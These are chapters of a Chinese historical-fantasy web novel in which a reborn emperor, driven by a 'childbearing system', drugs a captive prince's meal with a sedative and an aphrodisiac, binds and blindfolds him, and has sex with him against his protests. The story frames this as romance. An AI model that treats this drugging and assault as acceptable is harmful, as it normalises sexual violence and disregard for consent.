《为何寡人会怀孕!》
3. 见面
苏木一身虎贲军黑甲,手按佩剑,面无一丝表情,犹如冰冷的石佛,大步来到天子路寝,紫宸殿门口。
啪!
苏木将佩剑解下,挂在殿门前的剑托之上,垂首迈入紫宸殿高高的门槛。
虎贲军乃是周天子的禁军侍卫,大梁沿用周礼,以周天子后裔正统自居,因此宫中禁军亦统称为了虎贲。此时此刻的苏木,过了年关刚刚满十八岁,通过层层遴选进入虎贲军,已然成为了一名正式的虎贲。
“君上。”苏木一板一眼的抱拳作礼:“臣苏木,拜见君上。”
梁苒端坐在紫宸殿太室之中的黼扆龙座之上,无论是太室,还是黼扆,都象征着大梁天子至高无上的权威。上辈子,他在这个龙椅上坐了十三年,夙兴夜寐,殚精竭虑,为了百姓甚至不近女色,不沾滴酒,最后累垮了身子,成为了亡国之君……
“君上?”苏木作礼过后,许久都没有听到梁苒的声音。
彼时的苏木还过于年轻,虽平日里一板一眼,规规矩矩,不苟言笑,但实则压不住少年心性,不过故作老成罢了。
苏木忍不住抬起头来,狐疑的望着梁苒。
“嗯?”梁苒终于回过神来,深深的凝视苏木,叹息说:“苏木,能再见到你,甚好。”
苏木更加奇怪,他与君上乃是青梅竹马的发小,可以说是从小一起长大,除了燕寝与沐浴,几乎时时刻刻在一起,君上为何要突然说如此感慨之辞,仿佛他们许久都不曾见过。
梁苒改变了话题:“北赵四皇子,可有消息?”
“是。”苏木规规矩矩的回话:“回禀君上,北赵四皇子赵悲雪,已于昨日进入上京城,因着昨日乃是大宗伯的寿辰,鸿胪署的人怕影响了大宗伯的心情,并没有将题本提交给内阁。”
“哼……”梁苒凉飕飕的冷笑一声,幽幽的说:“大宗伯……”
又说:“赵悲雪此时在何处?”
苏木说:“鸿胪署的人将北赵四皇子暂时安置在萧山离宫。”
萧山乃是上京城北面的高山,犹如一座屏障,素来有天险之称,帮助大梁抵御了很多次北面山戎人的偷袭。
萧山上筑有防线,仿造春秋齐桓公时期最早的长城,依照山体走势,打造了一片萧山长城。同时萧山还建造了离宫,但凡大梁天子巡视长城,都会在离宫登高望远,训练军队,以震慑山戎蛮夷。
随着北赵的崛起,山戎的没落,萧山长城的功用也跟着愈发的落寞,萧山离宫渐渐变成了供大梁天子与贵胄享乐的离宫。
梁苒的眼眸微微垂下,羽扇一般的眼睫轻轻眨动,投影下一小片阴影,将梁苒所有的心思全部遮掩起来,显得如此晦暗不明。
梁苒粉润的唇瓣轻轻开启,含着微笑:“摆驾,寡人要亲临离宫,会一会这位北赵四皇子。”
苏木又吃了一惊,他今日有太多的不解,北赵四皇子?那个赵悲雪?听闻赵悲雪出生之时天降大雪,雪片好像被子一般覆盖了整个北赵的都城,这样的大雪整整下了一个腊月,天昏地暗,遮星闭月,整片天空仿佛被天狗吞噬了一般。
——因而四皇子赵悲雪被视为不祥之人。
再加上四皇子出身卑微,他的母亲不过是一个宫女,因为一次意外被北赵天子临幸,诞下了赵悲雪。赵悲雪的母亲没有任何依仗,生下儿子不久,便被嫉妒的宫妃害死,只留下赵悲雪一个人无依无靠。
北赵天子并不喜欢天扫星一般的赵悲雪,平日里都养在偏僻之所,十七年过去,甚至已经忘记了还有这么一个儿子。
大梁与北赵的停战,突然让北赵天子想起了他还有这么一个儿子,倘或送这个天扫星儿子去大梁做质子,一方面可以彰显北赵休战的诚意,另一方面……
赵悲雪可是天扫星降世啊,不祥之人,自带灾祸,若是他能前往大梁,说不定整个上京都会被他拖累,届时大梁不攻自破,这天底下还能有如此好事儿!
可他们都想错了,赵悲雪并非不祥之人,他才是这个诸侯争霸游戏中,真正的主角,什么不详,什么灾祸,全都是赵悲雪“美强惨人设”的一环罢了。
苏木虽然不解梁苒为何要去见这么一个不祥,又不起眼儿的北赵皇子,但还是点点头:“是,臣这就安排车舆。”
*
骨碌碌——
御辇停在萧山离宫的门口,还未进门,便听到里面传来哈哈哈的大笑,嚣张肆意,毫无忌惮。
“哈哈哈哈!!快看他,好像一条犬!”
“犬?哎哟喂,大人您说笑了!什么犬啊?咱们大宗伯养的犬,都比这北赵的四皇子食得好!”
“哎呦,他还敢瞪我?瞪我!”
嘭!嘭、嘭——
“让你敢瞪我!还瞪我?!好啊,把他给我抓紧来,今儿个我便好好儿的教教他,咱们大梁的规矩!”
嘭……嘭!嘭……
是棍棒打人的声音,还有几乎不可听闻的闷哼声。
梁苒抬起手来,制止了苏木的通传,纤细白皙的手指一撩衣摆,阔步迈入萧山离宫大门。
就在宫门口不远的地方,一个看起来大抵十七八岁的年轻人被五花大绑,双手捆在身后,他咬紧牙关,执拗的不肯下跪,挣扎着从地上站起来。
身后几个内监,拖着长长的木棍,嘻嘻哈哈的大笑,举起棍棒狠狠打在年轻人的背上。
咚——
一声闷响。
年轻人后背一震,猛地向前踉跄,终于体力不支,一头栽倒在地,那张俊美厌世的脸面,瞬间被粗糙的地面刮花,下巴、脸颊鲜血淋漓。
年轻人想要站起来,内监跟上一脚,狠狠踏着他的背心,张狂大笑:“压住他,别想起来!呸!什么狗东西!都到我们大梁来了,老子便教训教训你,让你知晓这大梁,是我们大宗伯说了算!”
赵悲雪,梁苒静静的看着赵悲雪被施暴,就是他,就是他……
上辈子兵临城下,覆灭大梁,让寡人成为亡国之君的人,就是他!
梁苒不甘心,为何他才是游戏的主角,而寡人尽心竭力,就因为只是一个玩家不可控制的NPC,最后走上了绝路,死得不明不白。
倘或……
倘或赵悲雪就这样被打死了,也好。
梁苒的唇角,划开一丝丝爽俐的笑容,然而他的笑容戛然而止,当听到小太监说——大梁是我们大宗伯说了算,之时。
梁苒所有的笑容,瞬间凝结在清秀美艳的脸面上,粉嫩的嘴唇紧紧抿起,崩成了一条细线,寡人才是大梁的天子!
上辈子大宗伯便仗着权势,又以梁苒的恩人自居,把控朝政一手遮天,梁苒已然不是当年那个忍让求和的毛头小天子了,更何况北赵打来之时,是他打开上京城门,迎敌入城,才致使苏木被万箭穿心,死后连个全尸也没有留下。
这笔债,梁苒心中冷笑,寡人要大宗伯血债血偿!
“住手。”梁苒开
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口了。
几个内监打得正起劲儿,听到那清冽的嗓音,下意识回头看了一眼,只见是一个肤如凝脂,身量高挑婀娜,形如美人的年轻男子,全都没当回事儿。
但下一刻,他们好似看清楚了那美人的衣着——是龙袍!
咕咚——
几个内监吓得瑟瑟发抖,将棍棒一扔,扑簌簌跪倒在地,叩头大喊:“拜、拜见天子!天子万年——”
梁苒慢吞吞走过去,低垂眼眸,轻飘飘的扫视他们:“原你们识得寡人?寡人还以为,你们只识得大宗伯。”
内监们脸无人色,一个个比蜡纸还黄。听到了!天子一定是听到了,刚才他们狗仗人势一般的嘴瓢之辞,这明显是敲打啊!
“这么喜欢做犬,”梁苒莞尔,笑容颇为嫣然:“那好啊,寡人便给你们一次,为大宗伯做犬的机会。”
“听说大宗伯喜欢狩猎,”梁苒挥了挥手,吩咐说:“正好少了几条会叫的猎犬……苏木,把他们扣起来,套上项圈,从今往后只得在笼中活动。”
内监们傻了眼,尝听闻新天子是个温温吞吞的软性子,特别和善,从不会与人红脸,是个十足好糊弄的,可……可眼下的境况,与听闻的完全不一样!
“君上!饶命啊!!饶命——”
苏木冷着脸,呵斥道:“虎贲军听令,把这几个罪子都扣起来!”
“饶命啊——君上!小的们再也不敢了,再也不敢了——”
惨叫声,哀嚎声,拖拽出长长的拖尾,渐去渐远,最后消失在萧山离宫的上空……
梁苒终于把视线收拢回来,垂在跌倒在地,满身血迹,一时根本无法爬起来的北赵皇子,赵悲雪身上。
踏、踏……
梁苒走过去,用雪白洁净的靴子尖抵住赵悲雪的下巴,轻轻用力,迫使他抬起头来,看向自己。
赵悲雪的面颊被鲜血糊着,泥土碎石夹在伤口之中,一条新鲜的血迹从额角滑下,将他俊美,却不带一丝波澜,厌世冰冷的脸面割裂。
叮——
【恭喜完成2.1.0任务:见到赵悲雪】
果然是主角,多么完美的脸蛋,多么强壮的身量,多么凄惨的人设。
“可惜……”梁苒的唇角化开一丝笑容,可惜你遇到了寡人。
杀了他,现在就杀了他,北赵便不会再有战神,大梁也不会遇到灭顶之灾!
叮——
【系统提示:宿主绝对不可杀死赵悲雪!】
为何?梁苒看到突然跳出来的系统虚拟面板,嫌弃的蹙了蹙眉。
【系统提示:宿主之所上辈子无法称霸天下,是因为——没、有、儿、子!】
梁苒:“……?”
【系统提示:根据大数据分析,您的长子骁勇善战,可以帮助大梁开疆扩土!您的次子足智多谋,平衡朝廷稳固社稷!您的三子口灿莲花,出使四方万国来贺!您的四子妙笔丹青,带动大梁文娱潮流;您的五子……】
梁苒恍然,原来自己上辈子太过清心寡欲,一心扑在政事上,竟还有错了?
这还不便宜么?身为一国之君,纳几个妃子是再正常不过的事情了,梁苒只需要打开掖庭,广收美人不就好了。
可是……梁苒眉心紧蹙,不解在心窍中扩散,自己的儿子与赵悲雪有什么干系?
【系统提示:赵悲雪是宿主您未来儿子的另外一位父亲。】
梁苒:“……”???
4. 生子系统
赵悲雪是梁苒未来儿子的另外一个父亲?
一个孩子怎么可能同时拥有两个父亲?
都是人话,连在一起,梁苒竟读不通了。
叮——
【2.2.0任务:与赵悲雪发生一夜情】
梁苒:“……”
如果完成2级任务,便可以得到任务奖励20万兵马,要知晓这可不是一个小数目。整个大梁可调动的兵马数量满打满算也才五十万,且这五十万都掌握在大宗伯手中,大多数掌兵的将军,乃是大宗伯的亲信,或者学生。
倘或梁苒可以得到忠心于自己的二十万兵马,那将是推翻大宗伯不小的助力。
这二十万兵马,梁苒心中笃定发誓,寡人必须得到!
只是……
系统升级的第二个任务,实在太过强人所难,明明是一个宏图霸业系统,为何提出这样无理取闹的任务要求?
叮——
【系统提示:系统任务并非无理取闹,请宿主仔细查看系统名称!】
梁苒在打开游戏二周目的时候,已经看过了,这个系统唤作——宏图霸业,基建系统。
他的目光在半空中微微晃动,重新去审视系统的名称,的确是“宏图霸业,基建系统”,然……
基建系统的后面,还跟着一排很小很小,很细很细的蝇头小字,一不小心便会被忽略过去。
——生子系统。
“生……”梁苒差点将这四个字念出来。
叮——
【系统提示:本系统正是以生子为宗旨,帮助宿主完成宏图霸业,问鼎天下!】
梁苒:“……”
【温馨提示:只要与赵悲雪发生一夜情,根据系统大数据分析,将有99.99999999%的怀孕几率!无痛怀孕,没有任何不良孕反,做任务还可以缩短怀孕周期,让怀孕像吃饭睡觉一样简单!】
梁苒忽略掉系统的“宣传词”,在心中问:谁怀孕?
【温馨提示:宿主您。】
梁苒:为何寡人会怀孕!
梁苒高挑而单薄的身子,在瑟瑟的冬风中微微打颤,好似柔弱的柳条,任是谁看了,都会觉得少年天子是因着畏寒而颤抖,他们却不知,其实梁苒是被系统给坑了。
已然尝过了系统1级奖励的甜头,眼看着便能拿到2级奖励20万兵马,对于一个事业脑皇帝来说,20万兵马难道不比美酒美女,酒池肉林要香么?这可是致命的诱惑!
梁苒握紧双手,他做了十三年的天子,最大的优点便是理智,很快提出了疑问。
便算是寡人亲自生,梁苒在心中默问,却也不妥,生个儿子起码要等十四五年,儿子才能长大成人,上战场打拼,在朝堂诡诈,可上辈子寡人的江山,只坐了十三年。
【温馨提示:宿主不必担心,为您推荐“迎风生长”卡片,大幅缩短儿子成长周期】
【系统提示:完成系统任务,可兑换众多卡片道具呦~】
【迎风生长卡:爸爸再也不用担心儿子长得慢!】
梁苒:“……”好一个贴心的系统呐。
梁苒凝视着趴在地上,唇角挂血,英俊而挺拔的北赵四皇子赵悲雪,年轻人的脸上蒙着一层灰败的颜色,眼神颓丧却戒备的仰头看着他。
四目相对,梁苒微微咬紧后牙关,白皙的面颊轻轻抽动,精巧的喉结上下滑了两记,似乎在做什么巨大的决定。
这是一个关乎整个大梁民生、社稷的决定……
梁苒紧闭的牙关突然慢慢松开,释然的吐出一口气,幽幽的心想:不过是一夜情罢了,自然是寡人的二十万兵马更加重要。
叮——
【系统提示:系统大数据正在为您分析,身为一个皇帝,如何借种敌国皇帝!】
系统倒是挺积极,梁苒险些被气笑,轻轻摆手。
不必如此麻烦,梁苒垂首再次对上赵悲雪野狼崽子一般的晦暗目光,如今的赵悲雪,不过是北赵的天扫星皇子,任人鱼肉的人质,随便梁苒怎么蹂躏糟蹋,没有任何反抗的余地。
梁苒的吐息变得急促,白皙剔透的面颊染上一丝丝殷红,内勾外翘的丹凤眼浮现出跃跃欲试的光芒。
他伸出手掌,掌心柔软,指甲修剪圆润,那双手看起来毫无攻击性,一点点伸到赵悲雪面前。
赵悲雪明显往后错了一下,黑色的眸子,充满冷漠与厌世,他的身上仿佛只蒙着灰暗一种颜色。
梁苒笑容温柔,唇瓣轻启,微笑说:“小可怜儿,要不要做寡人的狗?”
赵悲雪定定的看着他,没有答话,活脱脱一个哑巴,甚至眼神也不见一丝波澜,完全是一潭死水。
梁苒并不介意,抬起手说:“让离宫准备温汤,请四皇子沐浴、更衣。”
苏木愈发看不懂梁苒的做法了,不过君上这么做,一定有君上的道理,只管执行便是了。
“是!”苏木拱手:“臣敬诺!”
离宫的内监宫女立刻忙碌起来,烧起热水,准备沐浴的温汤,不一会子,离宫的浴堂殿中,热气袅袅升起,一切已然准备就绪。
梁苒带着赵悲雪走进去,轻飘飘的说:“为他松绑。”
嗤——苏木亲自割断束缚着赵悲雪的绳索。
赵悲雪获得自由,晦暗的眼神意义不明的看向梁苒,似乎有些不敢置信。
梁苒宽大的黑色袖袍指了指浴堂殿中的温汤池,汤池波光粼粼,热气温吞朦胧,池水中甚至还飘散着点点花瓣,加入了喷香的精油。
梁苒说:“去罢,洗洗身子。”
洗干净了,才好办事儿。梁苒可是一个有洁癖之人,对着这样的脏狗子,如何下得去口?
赵悲雪还是定定的看着梁苒,一点子也不动弹。
梁苒挑眉:“怎么,要寡人亲自为你沐浴?”
梁苒作势上前,伸手去解赵悲雪的衣襟,他并非真的要为赵悲雪沐浴,还是那句话,梁苒有洁癖,赵悲雪身上如此肮脏,浑身都是污泥血迹,梁苒嫌弃得紧,只是吓唬吓唬他。
果然,赵悲雪戒备的后退,捂住自己的衣领,不知是不是错觉,那年轻满是污泥
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的脸颊上,竟然爬上一点点殷红。
谁见过疯狗一般的赵悲雪脸红?那可是北赵未来的铁血战神,弑父上位,杀人如麻,他怎么可能脸红?
“我……”赵悲雪终于开口了,说了第一句话:“自己来。”
梁苒挥手道:“苏木,你且退下罢。”
“君上?”苏木不赞同的道:“可是他……”
赵悲雪说什么也是北赵的质子,万一对梁苒不利,苏木若是在身边还能及时制止。
梁苒笃定的说:“退下。”
苏木点点头,听话的说:“是,臣告退。”
苏木凉丝丝的看了一眼赵悲雪,眼神里夹杂着警告,很快拱手退出浴堂殿,将殿门关闭。
吱呀——
沉重的殿门发出一声闷响,整个浴堂殿中只剩下梁苒与赵悲雪二人。
梁苒说:“好了,已然没有外人,你可以沐浴了。”
赵悲雪犹豫了片刻,终于背过身去,举目去寻找,可偏偏整个浴堂殿中,根本没有任何屏风一类可以遮掩的摆件,最后只好背着身窸窸窣窣解开自己的衣襟。
哗啦——
赵悲雪的衣襟落在地上,袒露出年轻男子高大挺拔的身躯。
梁苒便是故意的,原本浴堂殿中的确设有扇屏和地屏,全都被梁苒叫内监搬走了。系统让梁苒与赵悲雪发生一夜情,还让梁苒这个天子怀上赵悲雪的孩子,以完成宏图霸业,怎么想梁苒都觉得自己有些吃亏。
既是如此,提前审视一下赵悲雪的身量、体格,不算过分罢?
赵悲雪与梁苒同年,虽然生活在北赵皇宫,却从小被虐待长大,梁苒还以为,赵悲雪的身量应该瘦小干瘪才对,哪知衣衫倾退的那一霎那,露出的却是一副如狼似豹的强壮身材。
挺拔的身躯,流畅的线条,有血迹顺着脖颈滑下,划过那微微起伏的胸肌,沿着收紧的腹肌,一路划过人鱼线……
梁苒看不太清楚,毕竟赵悲雪背对着他。
梁苒上辈子便是太委屈了自己,为了做一个好国君,凡事忍让,清心寡欲,做什么事情都要三思而后行。如今重来这一世,梁苒不打算步步退让,因为梁苒知晓,退让无法让他得到太平盛世。
自然,也不会委屈了自己。
梁苒想仔细看看赵悲雪那傲然的胸肌,当即抬步走过去,转到赵悲雪的正面,上下打量他年轻挺拔的身躯。
赵悲雪已然退去所有衣衫,正要迈入温汤池,全然没想到梁苒会这般光明正大的欣赏自己的身躯,没错,那眼神是欣赏。
赵悲雪吓了一跳,灰暗的目光终于露出一丝青涩的龟裂,完全符合他现在这个年纪。
后退了一步,赵悲雪匆忙捡起地上的脏衣服,手忙脚乱的遮挡自己的身体。
赵悲雪的脸……红了,这次梁苒看得真真切切,他抿着嘴唇,咬紧牙关,一脸戒备的瞪着自己。
“呵呵……”梁苒欣赏着,这个未来敌国皇帝不可多得的羞赧,幽幽的感叹:“真真儿有趣,寡人现在觉得,养一条狗……亦不错。”
5. 一夜
梁苒收回审视的目光,并没有步步紧逼。
毕竟,把小狼崽子逼急了,也是会咬人的……
梁苒袒露出一抹温和的微笑:“好了,沐浴罢,洗干净之后……才好用膳。”
梁苒所谓的“用膳”,自然是他的“用膳”。
梁苒没有停留,施施然离开浴堂殿,前往浴堂殿旁边的小殿,命宫女内监将晚膳安排在此处,一共摆了两副承槃筷箸。
目光落在那些精美别致的菜色之上,梁苒的眼眸微微晃动。虽如今的赵悲雪还不是那个弑父上位的北赵皇帝,但也是一个长着獠牙的小狼崽子,体魄意外的强壮,梁苒自小身子羸弱,若是硬碰硬,绝对比他不过。
梁苒似乎想到了什么,牵起一抹深沉的笑意,等宫女内监退出去,从袖袍中拿出一个小瓶子,拨开瓶盖,将无色的液体加入膳食之中。
那液体滴入膳食,很快与珍馐融为一体,再难分辨出任何端倪。
梁苒滴入膳食的——正是迷药。
想要完成任务2,获得二十万大军,但梁苒又不想与上辈子的宿敌多费口舌,最简单的法子,便是在神不知鬼不觉之间,与赵悲雪发生一夜情。
虽下药的手段并不光明正大,可梁苒已然悔悟,上辈子自己光明正大堂堂正正,换来的又是什么?有的时候,便必须用一些旁的手段。
梁苒将迷药加入菜中,仔细想了想,若有所思的触摸着自己右手大拇指之上的血红扳指。
那只扳指本是白雪一般的柔润之色,是梁苒上辈子很喜欢的配饰,不知怎么便染上了血色,还变成了“生子系统”的控制面板。
叮——
随着轻轻触摸,虚拟控制面板摊开在半空中,只有梁苒一人可以看到。
梁苒的目光一划,系统背包中的新手奖励,“无限·春药”被选中,滴答——
一滴液体凭空出现,同样滴落在承槃的菜色之中。
梁苒再次轻轻触碰血红的扳指,系统控制面板快速收拢,一切恢复平静,珍馐美味蒸腾着热乎乎的喷香,好像什么也没有发生一样。
踏踏踏……
是跫音,赵悲雪走入殿中。
褪去肮脏的衣衫,洗掉污秽的血垢,赵悲雪好像改头换面了一般。高大的身躯,年纪轻轻,身量却极其宽阔,宽袍之下是藏不住的流畅肌肉,野性又挺拔。
听说北赵与山戎通婚,因此北赵的人多少带着一些山戎的粗犷深邃,赵悲雪的面容粗犷倒不见得,深邃却是深邃的,尤其是那眉眼,凌厉的眼形,高挺的鼻梁,仿佛刀削斧砍的杰作。
就是这样一张俊美无俦的脸面,充斥着死灰一般的厌世,死气沉沉的双眼,定定的凝视着梁苒。
是他。
梁苒的心窍忍不住震动起来,这张脸,虽比十三年之后稚嫩了许多,但即使化成灰,梁苒也识得他,就是那个覆灭大梁的死敌!
纤细的手指慢慢收拢,梁苒绞紧膝盖之上的衣袍,深深的吐息,很快恢复了平静,甚至唇角翘起一抹温柔和善的笑容:“看什么?快来坐,晚膳要冷了。”
梁苒招招手,轻唤道:“来啊。”
赵悲雪一双薄薄的嘴唇抿着,难以卸下防备,就算他的眼睛不去看案几上的美味佳肴,可他的鼻尖还是可以闻到那喷香的肉味,食色性也,都是难以抑制的本能,更何况赵悲雪自从离开北赵,被押送入大梁做人质,这一路,这一月,都未曾食过一顿饱饭,早就已经变成了一头饿狼。
赵悲雪没有说话,喉结快速滚动,死灰一般的眼眸迸发出明亮的光芒,一步抢过去,也不用筷箸,徒手抓起承槃中的炙肉,大口撕咬起来。
活脱脱一只茹毛饮血的野兽。
梁苒的眼神轻飘飘,有些得意,冷眼旁观着狼吞虎咽的赵悲雪。
今日,寡人留你还有用,等完成了系统任务,下一次你食到的,便不是迷药春药这么简单了,而是要命的毒药!
梁苒的笑容扩大,拿起案几上雪白#精美的丝绢帕子,说:“都是你的,没有人与你抢,不要着急。”
他说着,想用帕子给赵悲雪擦掉嘴边的污迹。
噌!
赵悲雪戒备的向后退了半步,瞪眼盯着梁苒,梁苒白皙的手掌卡在半空。
“呵呵……”梁苒笑起来:“怎么?你还在戒备于寡人?寡人若是想害你,怎么会好心救你?怎么给你沐浴,让你更衣?又怎么准备这些山珍海错,来为你果腹?”
末了,梁苒又补充了一句:“你说,是么?”
赵悲雪面无表情,但他的眼神轻轻晃动,显然是因着梁苒舌灿莲花,十三年的天子可不是白做的,辩才十足出众,令赵悲雪坚固的心防,出现了丝丝裂缝。
梁苒将帕子放在案几上,轻轻往前推:“你自己擦,食慢一些,别呛着。”
赵悲雪一手牢牢抓着炙肉,掌心里都是油花,那块炙肉好像就是他的救命稻草,如何也不肯松手,呆呆的看着被推过来的帕子,喉咙再次上下滚动,这一次滚动的十足艰涩,然后慢慢伸出另外一只手,将那只轻飘飘、软绵绵、滑嫩嫩的帕子托起来。
帕子是上好的丝绢织成,是织造曹精挑细选,专门进贡为新天子即位所用。雪白而矜贵的模样,与梁苒如出一辙,无比神似。
赵悲雪张了张口,没有吐出一个字,眼圈突然先红了,眼眶一瞬充满了剔透的湿气。
哭了?
梁苒一愣,结结实实吃了一惊,未来的北赵皇帝,冷血无情弑父上位的赵悲雪,竟然哭了?
赵悲雪终于丢下了那块油乎乎的炙肉,将手掌反复在自己的衣衫上蹭了两下,确保没有污渍,这才双手托起帕子,嗓音沙哑而哽咽的说:“没有人……对我这么好。”
梁苒恍然大悟,看来是寡人装的太像,竟把上辈子的死敌感动哭了。
凝视着赵悲雪的泪花,梁苒的心窍燃烧起来,血液莫名逆流,甚至后脊也爬起一股麻嗖嗖的感觉,或许那便是兴奋罢,毕竟赵悲雪的泪水,真真儿是少见。
赵悲雪并未发现梁苒的表情变化,将手帕爱惜的叠起,贴身收在衣裳里。
“你收起来做什么?”梁苒笑说:“那是给你拭污的。”
赵悲雪摇摇头,用宽大的手掌压着胸口的衣襟,执拗的将手帕珍藏起来。
“罢了。”这并非重点,重点是……梁苒微笑:“多食一些。”
多食一些,迷药和春药才好发作。
赵悲雪用
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了晚膳,梁苒全程都没有动一口,只是“慈悲”的微笑,托着腮,静静的看着这只饥饿的小野狼,踏入自己的圈套,然后被狠狠钳住,挣扎无果。
果然……
迷药的劲头犯上来了,赵悲雪吃饱了肚子,渐渐觉得眼皮很重,脑袋很沉,困倦好似海浪,一浪比一浪凶猛,不断的拍打而来,消磨着赵悲雪的理智。
梁苒宽慰说:“肚子里有了食儿,是不是困了?也是,那些内监如此欺负你,你怕是都没有睡过一个好觉罢?”
梁苒循序诱导的说:“今夜……你便在此处安心歇下。”
赵悲雪的眼神更加混沌,胡乱的点点头,咕咚——
向后一仰,歪歪斜斜的倒在软榻上。
梁苒长身而起,居高临下的看着赵悲雪,谨慎的看了一会子,这才用雪白的靴子尖轻轻踢了踢,试探的说:“赵悲雪?”
昏迷中的赵悲雪一动不动。
“呵。”梁苒轻笑出声,迷药还真是好用呢。
他走过去,撕拉一声将赵悲雪的衣襟撕开,举止可以说得上粗鲁,毫不留情。快速扒掉,用赵悲雪的衣襟将他的双手分别绑在软榻的帷幔之上,固定牢靠。
又扯下赵悲雪的衣带,缠住他的眼目,确保赵悲雪便是突然醒来,也无法行动,不可视物。
一切万无一失,梁苒终于有空闲欣赏自己的“猎物”,那头小野狼,以一种猎物的姿态,毫无保留的仰躺在软榻上,任人鱼肉,但凭宰割。
“嗯……”梁苒评点的说:“生得……还真不错,有几分姿色,勉强算是一件尚可的顽物罢。”
呼——
梁苒吹灭了烛台,整个大殿瞬间陷入昏暗之中……
谁?
赵悲雪从混沌中朦朦胧胧的醒来,他想动弹,双手却被牢牢的桎梏,双臂展开,根本无法合拢,这样的姿态实在太过危险。
窸窸窣窣,是衣料摩擦的声音,是衣袍滑落的声音,还有因为颤栗而喘息的声音。四周太过黑暗,伸手不见五指,赵悲雪的眼睛上又蒙着厚厚的衣带,一点子光亮也透不进来。
无法视物,令他的感官更加敏感,尤其是触觉。有什么东西,比他的体温微凉一些,水蛇一样缠了上来,慢慢坐在赵悲雪身上。赵悲雪朦胧的听到带着哭腔的哽咽,然后是急促的吐息,隐忍又无助,耳边还有规律的响动,那是软榻带动帷幔轻轻摇曳的声音。
“你是谁?”
赵悲雪终于找回了自己的嗓音,沙哑的开口,努力隐忍着血液逆流的冲动。
黑暗中,那人明显僵硬了一下,似乎没想到赵悲雪会提前醒来。
“你做什么?!”赵悲雪冷声呵斥:“走开!从我身上滚下去!”
“哼……”对方发出轻轻的哂笑,似乎觉得赵悲雪的呵斥不值一提,甚至十足滑稽。
梁苒的确没想到,赵悲雪底子这般好,用了那么大量的迷药,还是这般快便醒来,但也无妨,梁苒做足了准备,无论昏迷的赵悲雪,还是苏醒的赵悲雪,都是被梁苒捆在砧板上,任人宰割的鱼肉,并无区别。
梁苒并不想让赵悲雪知晓是自己,故意压低声音,靠近赵悲雪的耳畔,哑着嗓音戏谑说:“这可……由不得你。”
6. 抛弃
“听说了么?”
“那件事情,就那件事情。”
“什么事情?神神秘秘的。”
夜色深了,因为是冬日,夜里头连虫鸣也听不见,异常的安静,几个内监凑在一起耳语的声音,便格外清晰。
“天子啊!今儿个晚上竟然留了北赵的四皇子……用膳!”
“我还当是什么事情?不就是一同用膳么?这有什么稀罕。”
“你可不知,咱们这个新君啊,从来不与人共膳,便是连身边最亲的虎贲中郎将苏小将军,也从未与君上共膳过!而这个北赵四皇子,区区一个送来的人质,竟能留下来共膳,你说稀罕不稀罕?”
“那这是为什么?难不成……是为了敲打北赵?”
“嗨,君上还年轻,朝中的事儿有大宗伯掌理着呢,他毛儿都没长齐,能懂得什么敲打?在我看来,怕是……嘿嘿,新君怕是看上了赵悲雪的颜色罢!别说,我远远的看过两次,北赵的人,身量便是高大,是咱们大梁的毛头小子比不得的雄气!”
“君上一向不近女色,原是看上了男人!”
两个内监嚼舌头根正兴奋,一道昏暗的阴影从后背投射下来,他们在掌着宫灯,恍然看到一道鬼影,吓得尖叫起来,险些连宫灯都给抛了。
“苏、苏将军?!”
内监见了鬼一般瞪着不知何时出现的苏木,也算是流言蜚语的主角之一,他面无表情,甚至比半夜里的鬼影还要可怕。若只是见到了鬼怪,找个大师驱驱邪也便好了,可他们方才调侃天子的话,全都被虎贲中郎将苏木听到了!
“苏将军!饶命啊!饶命啊!”两个内监咕咚跪在地上,哐哐磕头。
苏木冷冷的垂头看着他们:“天子也是你们能调侃的?拖下去,杖三十军棍。”
“三十?!”还是军棍。
他们是宫中的太监,萧山离宫常年没有人到访,内监宫女都懒怠惯了,哪里受得了杖责,还是军法军棍,一般的将士挨十记军棍便要伤筋动骨,三十军棍很可能要了这二人的性命。
“苏将军饶命啊!小臣再也不敢了!再也不敢了!”
苏木却不留情面,眼神甚至不曾动半分,幽幽的摆了摆手。
“本将倒要看看,”苏木凉飕飕的动着嘴皮子:“往后谁还敢背地里嚼天子的舌根。”
两个虎贲军上前,拖拽着死狗一样的内监,很快求饶哭喊的声音便平息下来,萧条的离宫又恢复了黑夜的寂静……
痛。
好痛。
梁苒上辈子清心寡欲,为了大梁的江山社稷,为了大梁的百姓民生,殚精竭虑,鞠躬尽瘁,用系统的话说,便是事业脑皇帝,从来不近女色,更不要提男色了。他根本没做过这档子事儿,没想到风月之事竟如此疼痛,一点子也不舒服。
咬紧牙关,力气渐渐从梁苒的身子上抽去,晶莹剔透的热汗涔涔而下,浸透了他的鬓角,顺着光滑流畅的面颊滴滴滑落,他微微启唇调整吐息,却只是徒劳,呼吸愈发紊乱,身子愈发无力,终于颓然倒在赵悲雪强壮的胸膛上,气若游丝,脆弱的好像一叶漂泊在汪洋大海中的小舟,随时都会被浪头掩埋、吞噬。
啪,一声轻微的响动,实在太轻太轻,梁苒懒洋洋的撩起眼皮,循着声音的来源看去。
混沌疲惫的眼眸突然一僵,梁苒不敢置信的睁大双眼,是绳子崩裂的声音!赵悲雪竟然挣断了捆住右手的绳子!
他要逃跑,他必然会逃跑!箭在弦上,开弓已无回头箭,都到了这个节骨眼儿,倘或赵悲雪逃走,自己的痛楚岂不是白挨了?
梁苒用尽全力想要制住赵悲雪,可这点子力气对于从小在赵宫中做苦力讨生活的赵悲雪来说,简直便是“蚍蜉撼树”,不值一提。
嘭——一声闷响,情势瞬间反转,赵悲雪挣扎开右手的绳子,铁箍子一般的大掌狠狠钳住梁苒的腰肢,一把将他折翻在软榻上。奇怪的是,赵悲雪明明占尽了上风,他却没有逃跑,也没有摘掉遮蔽眼目的衣带。
赵悲雪的吐息沙哑低沉,从规律到紊乱,开荤见了血腥的野兽一般,一言不发,咬紧牙关。那之后梁苒感觉到的是不同于疼痛的酥麻,纤细的手指胡乱抓挠,无助的想要抓住什么。一片雪白柔软的丝绢从赵悲雪的身上落下,沾染上两个人不可言说的污迹,从摇曳的帷幔中散落出来,飘悠悠落在地上……
天色灰蒙蒙的发亮,天边泛起暗淡的光芒,荒唐的一夜便如此过去。昏睡中的梁苒突然一动,猛地惊醒过来,侧头一看,万幸赵悲雪还没有醒来。
赵悲雪的眼目上仍然蒙着衣带,只不过衣带松松垮垮,只要再稍微一动,必然会松散下来,双手的捆绑完全挣脱了,手腕的地方有两条深深的红痕。但这点子伤痕显然不算什么,因为赵悲雪的背上颈上,满是被梁苒抓伤的红痕。
梁苒心跳飞快,屏住吐息,轻手轻脚的从软榻上退下,胡乱的捡了衣襟披在自己身上,趁着赵悲雪没有醒来,飞快推门而出,跌跌撞撞朝着路寝跑去。
